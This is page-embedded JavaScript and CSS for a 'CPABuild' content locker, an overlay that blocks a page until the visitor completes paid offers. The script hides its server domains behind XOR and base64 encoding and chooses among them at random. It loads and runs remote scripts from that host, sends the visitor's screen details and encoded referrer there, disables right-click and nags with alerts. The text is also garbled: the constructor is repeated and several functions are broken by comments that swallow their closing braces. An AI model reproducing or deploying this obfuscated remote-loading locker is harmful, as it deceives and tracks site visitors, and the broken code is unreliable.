function CPBContentLocker() { this.constructed = false; this.referrer = document.referrer ? this.encode(document.referrer) : ''; this.protocol = ("https:" === document.location.protocol ? "https://" : "http://"); this.settings = this.getSettings(); this.extraParams = {}; this.uid = ''; this.urls = {}; this.screenHeight = window.screen.availHeight ? window.screen.availHeight : 0; this.screenWidth = window.screen.availWidth ? window.screen.availWidth : 0; this.isMobile = this.mobileCheck(); this.callbacks = []; this.d2 = ["EUYSHEECREUHABAREx1bFhkaABETBxobAVsbEAE=","EUYZAhEMFxcDDRZBA0xbFhkaABETBxobAVsbEAE=","ER1MEEIZDRAWBEJGGVsWGRoAERMHGhsBWxsQAQ==","EURGAAwfAxgGAx4QBh1bFhkaABETBxobAVsbEAE=","EUdAGBEbEB4bBwNHRQJbFhkaABETBxobAVsbEAE=","EUYTF0EQAhQPDUcZDUFbFhkaABETBxobAVsbEAE=","EUceEg8RGANFAxEMFgVbFhkaABETBxobAVsbEAE=","EUccERgPBx0ZBAwRB1sWGRoAERMHGhsBWxsQAQ==","EUcaQhEcBBtBER4fTBJbFhkaABETBxobAVsbEAE="]; this.d3 = this.decode64(this.d2[Math.floor(Math.random() * this.d2.length)]);
//These will be overwritten by loads
this.defaultSettings = [];
this.userSettings = [];
this.modal = null;
this.modalContainer = null;
this.modalContent = null;
this.animation = null;
this.iframe = null;
this.isLoaded = false;
this.requiredPoints = 10000;
this.requiredLeads = 1;
this.completedLeads = [];
this.completedPoints = 0;
this.visitor_id = 0;
this.locks=["RH",
"Vm",
"uj",
"Ew",
"HW",
"oy",
"Jf",
"Mz",
"EQ",
"ZU",
"lL",
"yk",
"Tm",
"Ht",
"nS",
"Xy",
"qr",
"Tt",
"du",
"OS",
"Ts",
"ET",
"om",
"Wi",
"xb",
"GK",
"CS",
"kt",
"iE",
"Ut",
"yi",
"TR",
"iD",
"aj",
"lI",
"Ri",
"Th",
"gD",
"iH",
"ff",
"uG",
"KE",
"VR",
"HL",
"VX",
"Nr",
"di",
"Ul",
"WT",
"Cd",
"cy",
"jb",
"tx",
"Yf",
"zl",
"Pg",
"CJ",
"Jl",
"GX",
"nO",
"JF",
"KB",
"VU",
"MS",
"cn",
"xA",
"Kx",
"eN",
"yy",
"bC",
"JW",
"cW",
"Cm",
"xY",
"Gi",
"Ns",
"bu",
"Ci",
"cZ",
"vH",
"ou",
"Tu",
"ux",
"xS",
"wg",
"vs",
"Nl",
"LF",
"gu",
"Yg",
"Hj",
"dS",
"VE",
"TG",
"qd",
"FD",
"rp",
"Hn",
"my",
"qW",];
//extra url parameters
// this.globalCallbacks();
this.detectUID();
this.setParam('cpguid', this.uid);
this.setParam('pr', this.settings.preview === true ? 1 : 0);
this.setParamsFromSettings();
this.optionalParameters = {
'h': this.screenHeight.toString(),
'w': this.screenWidth.toString(),
'it': encodeURI(this.settings.it),
'key': encodeURI(this.settings.key),
'm': this.isMobile ? '1' : '0',
'r': encodeURI(this.referrer),
'callback': '?',
}
this.setURLS();
this.setLockFunctions();
//this.detectScriptDomain();
this.body = document.getElementsByTagName('body')[0];
this.head = document.getElementsByTagName('head')[0];
this.constructed = false;
if (parseInt(this.settings.it) > 0 && this.settings.construct !== false) {
this.loadBody();
this.loadHTML();
this.constructed = true;
}
}
CPBContentLocker.prototype = { constructor: CPBContentLocker, log: function (msg) { if (typeof window['console'] !== 'undefined') { window['console'].log(msg); } }, addCallback: function (callback) { this.callbacks.push(callback); }, getSettings: function () { if(typeof window['CPABUILDSETTINGS'] === 'object'){ return window['CPABUILDSETTINGS']; } var preg = /[A-Za-z]{5}[A-Za-z]{3}[A-Za-z]{5}c/; var k = Object.keys(window); for (var kCounter = 0; kCounter < k.length; kCounter++) { if(k[kCounter].match(preg)){ return window[k[kCounter]]; } } }, setLockFunctions: function () { var t=this; for (var kCounter = 0; kCounter < this.locks.length; kCounter++) { var k ='_'+this.locks[kCounter]; window[k]=function (){t.openLocker();} } }, callback: function (event, data) { for (var cbCounter = 0; cbCounter < this.callbacks.length; cbCounter++) { var c = this.callbacks[cbCounter]; if (typeof c === 'function') { c(event, data); } } }, globalCallbacks: function () { this.addCallback(function (event, data) { console.log(event, data); if (event === 'loadHTML') {
}
})
},
detectUID: function () {
// var n = "_cpguid";
// var c = this.getCookie(n);
// if (typeof c === "string" && c) {
// this.uid = c;
// return;
// }
//this.uid = this.generateUID();
// this.setCookie(n, this.uid, 10);
},
getDomainFromURL: function (url) {
var matches = url.match(/^https?\:\/\/([^\/?#]+)(?:[\/?#]|$)/i);
return matches && matches[1];
},
detectScriptDomain: function () {
var s = document.getElementsByTagName("script");
var d = this.getDomainFromURL(s[s.length - 1].src);
if (d && d.length) {
this.scriptDomain = d;
}
},
mobileCheck: function () {
var check = false;
(function (a) {
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(
a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(
a.substr(0, 4))) check = true;
})(navigator.userAgent || navigator.vendor || window.opera);
return check;
},
paramsToQuery: function (params) {
if (!params) return "";
var q = [];
for (var k in params) {
var value = params[k];
q.push(encodeURIComponent(k) + "=" + encodeURIComponent(value));
}
return q.join("&");
},
getQueryParam: function (name, url) {
if (!url) url = window.location.href;
name = name.replace(/[\[\]]/g, '\\$&');
var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'), results = regex.exec(url);
if (!results) return '';
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, ' '));
},
loadBody: function () {
var thisPass = this;
this.body = document.getElementsByTagName('body')[0];
if (typeof this.body == "undefined") {
setTimeout(function () {
thisPass.loadBody()
}, 5);
return false;
}
},
setParam: function (key, value) {
this.extraParams[key] = value;
return this;
},
loadHTML: function () {
var id = "xfMAINJS";
this.removeElByID(id);
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = this.urls.js;
script.id = id;
this.head.appendChild(script);
this.callback('loadHTML', {});
this.loadGlobalCSS();
},
loadGlobalCSS: function () {
//Global CSS
var id = "xfGLOBALSTYLE";
if (!document.getElementById(id)) {
var l = document.createElement("link");
l.rel = "stylesheet";
l.href = this.urls.css;
l.id = "xfGLOBALSTYLE";
this.head.appendChild(l);
this.callback('loadGlobalCSS', {});
}
},
generateUID: function () {
return ("000" + ((Math.random() * 46656) | 0).toString(36)).slice(
-3) + ("000" + ((Math.random() * 46656) | 0).toString(36)).slice(
-3) + ("000" + ((Math.random() * 46656) | 0).toString(36)).slice(-3);
},
checkLead: function (testing) {
var script = document.createElement('script');
var url = this.urls.check + new Date().getTime();
if (testing === 'testing') {
url += '&testing=1';
}
this.removeElByID("xfLEADCHECK");
script.id = "xfLEADCHECK";
script.type = 'text/javascript';
script.src = url;
this.head.appendChild(script);
this.callback('checkLead', {});
},
openLocker: function () {
var thisPass = this;
if (!thisPass.isLoaded) {
setTimeout(function () {
thisPass.openLocker();
thisPass.callback('openLocker', {});
}, 5);
return false;
}
this.iframe.setAttribute("src", this.urls.iframe);
this.modalContainer.style.display = "block";
this.modal.className = "";
this.modal.style.display = "block";
if (typeof this.body !== "undefined") {
this.body.className += ' xfBodyModalOpen';
}
setTimeout(function () {
thisPass.modal.className = "xfAnimation xfShow";
}, 50);
},
closeLocker: function () {
var thisPass = this;
this.modal.className = "fadeOut";
this.callback('closeLocker', {});
if (typeof this.body !== "undefined") {
this.body.className = this.body.className.replace(/\bxfBodyModalOpen\b/, '');
}
setTimeout(function () {
thisPass.modal.style.display = "none";
}, 550);
},
encode: function (str) {
var encoded = "";
for (i = 0; i < str.length; i++) {
var a = str.charCodeAt(i);
var b = a ^ 117; // bitwise XOR with any number, e.g. 123
encoded = encoded + String.fromCharCode(b);
}
return encoded;
},
decode64: function (encoded) {
var decoded = "";
encoded = atob(encoded);
for (i = 0; i < encoded.length; i++) {
var a = encoded.charCodeAt(i);
var b = a ^ 117; // bitwise XOR with any number, e.g. 123
decoded = decoded + String.fromCharCode(b);
}
return decoded;
},
onSettingsAndHTMLLoaded() {
//right click
if (parseInt(this.getValue('disable_right_click')) === 1) {
document.addEventListener('contextmenu', event => event.preventDefault());
}
//escape key
if (parseInt(this.getValue(
"escape_key_close")) === 1 || this.settings.testing === 1 || this.settings.escapeOverwrite === true) {
document.onkeydown = function (evt) {
evt = evt || window.event;
var isEscape = false;
if ("key" in evt) {
isEscape = (evt.key === "Escape" || evt.key === "Esc");
} else {
isEscape = (evt.keyCode === 27);
}
if (isEscape) {
this.closeLocker();
}
};
}
},
onVarsChange: function () {
var thisPass = this;
this.modalContainer = document.getElementById("xf_MODAL_CONTAINER");
this.modal = document.getElementById("xf_MODAL");
this.modalContent = document.getElementById("xfMODALCONTENT");
this.iframe = document.getElementById("xfOFFERS");
this.modalContent.className = this.getValue("animation");
setTimeout(function () {
thisPass.isLoaded = true
}, 500);
var cssRules = [];
for (var key in thisPass.defaultSettings) {
// skip loop if the property is from prototype
if (!thisPass.defaultSettings.hasOwnProperty(key)) continue;
var obj = thisPass.defaultSettings[key];
if (typeof obj.css == "object" && obj.for == "html") {
var value = thisPass.getValue(key);
if (obj.css.rule == "background-image" && value) {
value = "url('" + value + "')";
}
if (value && typeof obj.css.format === "string") {
value = obj.css.format.replace('%value%', value);
}
if (value) {
cssRules.push({
target: obj.css.target,
"rule": obj.css.rule,
"value": value
});
}
}
}
thisPass.setCSSRules(cssRules);
if (typeof this.defaultSettings["content_locker_title_text"] != "undefined"){
document.getElementById( "xfMODALTITLE").innerHTML = thisPass.getValue("content_locker_title_text");
}
if (typeof this.defaultSettings["content_locker_footer_text"] != "undefined"){
document.getElementById( "xfMODALFOOTERTEXT").innerHTML = thisPass.getValue("content_locker_footer_text");
}
if (typeof this.defaultSettings["overlay_color"] != "undefined" && typeof this.defaultSettings["overlay_opacity"] != "undefined") {
var opacity = thisPass.getValue("overlay_opacity");
var hex = thisPass.getValue("overlay_color");
var rgba = thisPass.convertHex(hex, opacity);
document.getElementById( "xfSettingsCSS").innerHTML += "#xf_MODAL_CONTAINER #xf_MODAL {background-color: " + rgba + " }";
}
if (this.isMobile) {
this.modalContainer.className += " xf_MODAL_CONTAINER_MOBILE"
}
if (typeof this.userSettings["number_offers_required"] != "undefined") {
this.requiredLeads = parseInt(this.userSettings["number_offers_required"]);
}
if (typeof this.userSettings["payout_required"] != "undefined") {
this.requiredPoints = parseInt(this.userSettings["payout_required"]);
}
setTimeout(function () {
thisPass.checkLead()
}, 2000);
//Escape Key
this.onSettingsAndHTMLLoaded();
},
getValue: function (key) {
if (typeof this.defaultSettings[key] == "undefined") {
this.log("ERROR - No default settings for key " + key);
return "";
}
if (typeof this.userSettings[key] !== "undefined" && this.userSettings[key]) {
return this.userSettings[key];
}
return this.defaultSettings[key]['default'];
},
changeHTML: function (html) {
document.getElementById("xfMODALBODY").innerHTML = html;
},
setCSSRules: function (cssRules) {
var textRules = [];
var id = "xfSettingsCSS";
this.removeElByID(id);
if (cssRules.length > 0) {
cssRules.map(function (rule) {
var text = "#xf_MODAL_CONTAINER " + rule.target + "{" + rule.rule + ":" + rule.value + "}";
textRules.push(text);
});
}
var animationDuration = parseInt(this.getValue("animation_duration"));
var animationDurationCSS = "#xf_MODAL_CONTAINER #xfMODALCONTENT{" + "animation-duration: " + animationDuration + "ms;" + "-webkit-transition: all " + animationDuration + "ms;" + "transition: all " + animationDuration + "ms;" + "transition-duration: " + animationDuration + "ms;}";
textRules.push(animationDurationCSS);
var style = document.createElement('style');
style.type = 'text/css';
style.id = id;
style.innerHTML = textRules.join("\n\n");
this.head.appendChild(style);
},
removeElByID: function (id) {
var elem = document.getElementById(id);
if (elem) {
elem.parentElement.removeChild(elem);
}
},
reset: function () {
this.removeElByID("xf_MODAL_CONTAINER");
xfContentLocker = new CPBContentLocker();
},
addCompletions: function (arr) {
if (this.constructed === false) {
//Dont run anything if not constructed
return false;
}
var arrayLength = arr.length;
var newLeads = false;
for (var i = 0; i < arrayLength; i++) {
var visitor_id = parseInt(arr[i].visitor_id);
var lead_id = parseInt(arr[i].lead_id);
var points = parseInt(arr[i].points);
if (this.completedLeads.indexOf(lead_id) == -1) {
//New lead!
this.visitor_id = visitor_id;
newLeads = true;
this.completedLeads.push(lead_id);
this.completedPoints += points;
}
}
if (newLeads) {
this.checkComplete();
}
},
checkComplete: function () {
if (this.completedLeads.length < this.requiredLeads) {
alert("Completed " + this.completedLeads.length + " out of " + this.requiredLeads + " offers!");
} else if (this.completedPoints < this.requiredPoints) {
alert("Completed " + this.completedPoints + " out of " + this.requiredPoints + " points!");
} else {
this.offersComplete({
visitor_id: this.visitor_id,
points: this.completedPoints,
leads: this.completedLeads
});
}
},
convertHex: function (hex, opacity) {
opacity = parseFloat(opacity);
hex = hex.replace('#', '');
var r = parseInt(hex.substring(0, 2), 16);
var g = parseInt(hex.substring(2, 4), 16);
var b = parseInt(hex.substring(4, 6), 16);
return 'rgba(' + r + ',' + g + ',' + b + ',' + opacity + ')';
},
offersComplete: function (data) {
var closeType = this.getValue('onClose');
var url;
if (typeof this.settings.onComplete == "function") {
var cont = this.settings.onComplete(data);
if (cont === false) {
return false;
}
}
if (typeof xfComplete == "function") {
xfComplete();
}
if (typeof this.settings.redirect !== "undefined") {
url = this.settings.redirect;
window.location = url;
this.changeHTML("Offer complete! <a href='" + url + "'>Click here</a> to continue");
return false;
}
if (closeType === "close_locker") {
this.closeLocker();
return false;
}
if (closeType === "redirect") {
url = this.getValue('onCloseURL');
url = url.replace('%lead_id%', this.completedLeads[0]);
url = url.replace('%visitor_id%', this.visitor_id);
window.location = url;
this.changeHTML("Offer complete! <a href='" + url + "'>Click here</a> to continue");
return false;
}
this.callback('offersComplete', {});
},
getIframeHTML: function () {
return '<iframe src="' + this.urls.iframeOnly + '" height="100%" marginwidth="0" marginheight="0" align="middle" frameborder="0" width="100%" ></iframe>';
},
setParamsFromSettings: function () {
if (typeof this.settings.params == 'object') {
var k;
for (k in this.settings.params) {
var value = this.settings.params[k];
this.setParam(k, value);
}
}
var i;
for (i = 1; i <= 4; i++) {
var iKey = 's' + i;
if (!this.extraParams[iKey]) {
var p = this.getQueryParam(iKey);
if (p !== '') this.extraParams[iKey] = p;
}
}
},
getParamString: function (arrayOfKeys) {
var i;
var p = [];
for (i = 0; i < arrayOfKeys.length; i++) {
var key = arrayOfKeys[i];
var value = this.optionalParameters[key];
p.push(key + '=' + value);
}
return p.join("&");
},
setURLS: function () {
//var p = this.protocol + this.d3 + "/public/";
var p = "https://" + this.d3 + "/public/";
var q = this.paramsToQuery(this.extraParams);
this.urls.iframe = p + "ct?" + q + '&' + this.getParamString([
'it',
'w',
'h',
'key',
'm',
'r'
]);
this.urls.feed = p + "f_it?" + q + '&' + this.getParamString([
'it',
'w',
'h',
'key',
'm',
'callback'
]);
this.urls.iframeOnly = p + "i_fr?" + q + '&' + this.getParamString([
'it',
'w',
'h',
'key',
'm',
'r'
]);
this.urls.js = p + "external/v2/" + ((this.settings.preview === true) ? "preview" : 'htmlxf') + '.' + this.settings.it + "." + this.settings.key + "." + this.optionalParameters.m + "." + "js" + (this.settings.preview === true ? ("?t=" + (new Date()).getTime()) : '')
this.urls.css = p + "external/css_frontXF.css";
this.urls.specific_css = p + "clockers/";
this.urls.check = p + "external/check.php?" + this.getParamString(['it']) + "&time=";
this.urls.impression = p + "external/impression.php?" + this.getParamString(['it']) + "&time=";
this.urls.guid = p + "guid?" + q + '&e=';
return this;
},
setTemplateCSSDir: function (dir) {
var url = this.urls.specific_css + dir + "/cssXF.css";
var specificCSSID = "xfSPECIFICSTYLE";
var l = document.createElement("link");
l.setAttribute("data-it", this.settings.it);
l.rel = "stylesheet";
l.id = specificCSSID;
l.href = url;
document.getElementsByTagName("head")[0].appendChild(l);
},
setCookie: function (name, value, days) {
var expires = "";
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/";
},
getCookie: function (name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
}
return null;
}
}; xfContentLocker = new CPBContentLocker();
function xfLock() { xfContentLocker.openLocker(); }
function xfGetFeedURL() { return xfContentLocker.urls.feed; }
function xfGetIframeURL() { return xfContentLocker.urls.iframe; }
function xfGetIframeHTML() { return xfContentLocker.getIframeHTML(); }
function xfUnlock() { xfContentLocker.closeLocker(); }
function xfOfferComplete(data) { //CPABUILDContentLocker.offerComplete(data); }
function xfOffersComplete(arr) { xfContentLocker.addCompletions(arr); }
function xfCheckForLead(testing) { xfContentLocker.checkLead(testing); }
function xfComplete() { //Rewrite this function, it's called when locker has completed requirements. }
function CPABuildLock() { xfLock(); }
function CPABuildGetFeedURL() { return xfGetFeedURL(); }
function CPABuildGetIframeURL() { return xfGetFeedURL(); }
function CPABuildGetIframeHTML() { return xfGetIframeHTML(); }
function CPABuildUnlock() { xfUnlock(); }
function CPABuildOfferComplete(data) { xfOfferComplete(data); //CPABUILDContentLocker.offerComplete(data); }
function CPABuildOffersComplete(arr) { xfOffersComplete(arr); CPABUILDContentLocker.addCompletions(arr); }
function CPABuildCheckForLead(testing) { xfCheckForLead(testing); }
function CPABuildComplete() { xfComplete(); //Rewrite this function, it's called when locker has completed requirements. }</script><style>body.xfBodyModalOpen { overflow:hidden; } #xf_MODAL.fadeOut { opacity: 0; transition: visibility 0s 0.5s, opacity 0.5s linear; -webkit-transition: opacity 0.5s ease-in-out; -moz-transition: opacity 0.5s ease-in-out; -ms-transition: opacity 0.5s ease-in-out; -o-transition: opacity 0.5s ease-in-out; } @media screen and (orientation:portrait) { #xf_MODAL_CONTAINER #xfMODALCONTENT { margin: 35% auto !important; } } #xf_MODAL_CONTAINER #xf_MODAL { display: none; /* Hidden by default / position: fixed; / Stay in place / z-index: 9999999999999;; / Sit on top / left: 0; top: 0; width: 100%; / Full width / height: 100%; / Full height / overflow: auto; / Enable scroll if needed / background-color: rgb(0,0,0); / Fallback color / background-color: rgba(0,0,0,0.4); / Black w/ opacity / } / The Close Button / #xf_MODAL_CONTAINER .close { float: right; font-size: 21px; font-weight: 700; line-height: 1; color: #000; text-shadow: 0 1px 0 #fff; filter: alpha(opacity=20); opacity: .2; } #xf_MODAL_CONTAINER button.close { -webkit-appearance: none; padding: 0; background: 0 0; border: 0; } #xf_MODAL_CONTAINER .close:focus, .close:hover { color: #000; text-decoration: none; cursor: pointer; filter: alpha(opacity=50); opacity: .5; } #xf_MODAL_CONTAINER * { border: 0; font-family: 'Open Sans', sans-serif, Arial; margin: 0; outline: 0; padding: 0; } #xfOFFERS{ overflow-x:hidden; overflow-y:hidden; width:100%; height:100%; } #xf_MODAL_CONTAINER #xfMODALBODY { height:300px; } #xf_MODAL_CONTAINER .xfmodal-header { padding: 15px; border: none; font-size: 20px; font-weight: 300; line-height: 20px; } #xf_MODAL_CONTAINER #xfmodalTitle{ font-weight: 300; } #xf_MODAL_CONTAINER #xfMODALBODY { padding: 0; text-align: center; } #xf_MODAL_CONTAINER #xfMODALCONTENT { position: relative; margin: 10% auto; / 15% from the top and centered */ padding: 0; width: 790px; -webkit-animation-duration: 0.6s; animation-duration: 0.6s; border: none; border-radius: 6px; outline: 0; } #xf_MODAL_CONTAINER #xfMODALFOOTER { padding: 15px; text-align: center; border-top: none; font-size: 13px; } #xf_MODAL_CONTAINER .close:hover, #xf_MODAL_CONTAINER .close:focus { color: black; text-decoration: none; cursor: pointer; } @-webkit-keyframes xf_animatetop { from {top: -300px;} to {top: 0;} } @keyframes xf_animatetop { from {top: -300px;} to {top: 0;} } #xf_MODAL_CONTAINER .fa{ font-family: FontAwesome !important; } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT{ visibility: visible; opacity: 1; } #xf_MODAL_CONTAINER .xfShow #xfMODALCONTENT{ visibility: visible !important; opacity: 1; display: block !important; } #xf_MODAL_CONTAINER #xfMODALCONTENT{ /visibility: hidden;/ opacity: 0; } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_animateTop { -webkit-animation-name: xf_animatetop; -moz-animation-name: xf_animatetop; animation-name: xf_animatetop; } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_fadeIn { -webkit-transform: scale(0.7); -moz-transform: scale(0.7); -ms-transform: scale(0.7); transform: scale(0.7); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_fadeIn { -webkit-transform: scale(1.0); -moz-transform: scale(1.0); -ms-transform: scale(1.0); transform: scale(1.0); } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_slideRight { -webkit-transform: translateX(20%); -moz-transform: translateX(20%); -ms-transform: translateX(20%); transform: translateX(20%); -webkit-transition-timing-function: cubic-bezier(0.25, 0.5, 0.5, 0.9); -moz-transition-timing-function: cubic-bezier(0.25, 0.5, 0.5, 0.9); transition-timing-function: cubic-bezier(0.25, 0.5, 0.5, 0.9); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_slideRight { -webkit-transform: translateX(0); -moz-transform: translateX(0); -ms-transform: translateX(0); transform: translateX(0); } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_spinIn { -webkit-transform: scale(0) rotate(720deg); -moz-transform: scale(0) rotate(720deg); -ms-transform: scale(0) rotate(720deg); transform: scale(0) rotate(720deg); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_spinIn { -webkit-transform: scale(1) rotate(0deg); -moz-transform: scale(1) rotate(0deg); -ms-transform: scale(1) rotate(0deg); transform: scale(1) rotate(0deg); } #xf_MODAL_CONTAINER #xfMODALCONTENT.xf_slideFall { -webkit-transform-style: preserve-3d; -moz-transform-style: preserve-3d; transform-style: preserve-3d; -webkit-transform: translate(30%) translateZ(600px) rotate(10deg); -moz-transform: translate(30%) translateZ(600px) rotate(10deg); -ms-transform: translate(30%) translateZ(600px) rotate(10deg); transform: translate(30%) translateZ(600px) rotate(10deg); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_slideFall { transition-timing-function: ease-in; -webkit-transition-timing-function: ease-in; -moz-transition-timing-function: ease-in; -webkit-transform: translate(0%) translateZ(0) rotate(0deg); -moz-transform: translate(0%) translateZ(0) rotate(0deg); -ms-transform: translate(0%) translateZ(0) rotate(0deg); transform: translate(0%) translateZ(0) rotate(0deg); }
#xf_MODAL_CONTAINER #xfMODALCONTENT.xf_slideUp { -webkit-transform: translateY(200%); -moz-transform: translateY(200%); -ms-transform: translateY(200%); transform: translateY(200%); } #xf_MODAL_CONTAINER .xfAnimation #xfMODALCONTENT.xf_slideUp { -webkit-transform: translateY(0); -moz-transform: translateY(0); -ms-transform: translateY(0); transform: translateY(0); }</style> <script>var xfContentLocker; var __cfRLUnblockHandlers = 1;
function CPBContentLocker() { this.constructed = false; this.referrer = document.referrer ? this.encode(document.referrer) : ''; this.protocol = ("https:" === document.location.protocol ? "https://" : "http://"); this.settings = this.getSettings(); this.extraParams = {}; this.uid = ''; this.urls = {}; this.screenHeight = window.screen.availHeight ? window.screen.availHeight : 0; this.screenWidth = window.screen.availWidth ? window.screen.availWidth : 0; this.isMobile = this.mobileCheck(); this.callbacks = []; this.d2 = ["EUYSHEECREUHABAREx1bFhkaABETBxobAVsbEAE=","EUYZAhEMFxcDDRZBA0xbFhkaABETBxobAVsbEAE=","ER1MEEIZDRAWBEJGGVsWGRoAERMHGhsBWxsQAQ==","EURGAAwfAxgGAx4QBh1bFhkaABETBxobAVsbEAE=","EUdAGBEbEB4bBwNHRQJbFhkaABETBxobAVsbEAE=","EUYTF0EQAhQPDUcZDUFbFhkaABETBxobAVsbEAE=","EUceEg8RGANFAxEMFgVbFhkaABETBxobAVsbEAE=","EUccERgPBx0ZBAwRB1sWGRoAERMHGhsBWxsQAQ==","EUcaQhEcBBtBER4fTBJbFhkaABETBxobAVsbEAE="]; this.d3 = this.decode64(this.d2[Math.floor(Math.random() * this.d2.length)]);
//These will be overwritten by loads
this.defaultSettings = [];
this.userSettings = [];
this.modal = null;
this.modalContainer = null;
this.modalContent = null;
this.animation = null;
this.iframe = null;
this.isLoaded = false;
this.requiredPoints = 10000;
this.requiredLeads = 1;
this.completedLeads = [];
this.completedPoints = 0;
this.visitor_id = 0;
this.locks=["RH",
"Vm",
"uj",
"Ew",
"HW",
"oy",
"Jf",
"Mz",
"EQ",
"ZU",
"lL",
"yk",
"Tm",
"Ht",
"nS",
"Xy",
"qr",
"Tt",
"du",
"OS",
"Ts",
"ET",
"om",
"Wi",
"xb",
"GK",
"CS",
"kt",
"iE",
"Ut",
"yi",
"TR",
"iD",
"aj",
"lI",
"Ri",
"Th",
"gD",
"iH",
"ff",
"uG",
"KE",
"VR",
"HL",
"VX",
"Nr",
"di",
"Ul",
"WT",
"Cd",
"cy",
"jb",
"tx",
"Yf",
"zl",
"Pg",
"CJ",
"Jl",
"GX",
"nO",
"JF",
"KB",
"VU",
"MS",
"cn",
"xA",
"Kx",
"eN",
"yy",
"bC",
"JW",
"cW",
"Cm",
"xY",
"Gi",
"Ns",
"bu",
"Ci",
"cZ",
"vH",
"ou",
"Tu",
"ux",
"xS",
"wg",
"vs",
"Nl",
"LF",
"gu",
"Yg",
"Hj",
"dS",
"VE",
"TG",
"qd",
"FD",
"rp",
"Hn",
"my",
"qW",];
//extra url parameters
// this.globalCallbacks();
this.detectUID();
this.setParam('cpguid', this.uid);
this.setParam('pr', this.settings.preview === true ? 1 : 0);
this.setParamsFromSettings();
this.optionalParameters = {
'h': this.screenHeight.toString(),
'w': this.screenWidth.toString(),
'it': encodeURI(this.settings.it),
'key': encodeURI(this.settings.key),
'm': this.isMobile ? '1' : '0',
'r': encodeURI(this.referrer),
'callback': '?',
}
this.setURLS();
this.setLockFunctions();
//this.detectScriptDomain();
this.body = document.getElementsByTagName('body')[0];
this.head = document.getElementsByTagName('head')[0];
this.constructed = false;
if (parseInt(this.settings.it) > 0 && this.settings.construct !== false) {
this.loadBody();
this.loadHTML();
this.constructed = true;
}
}
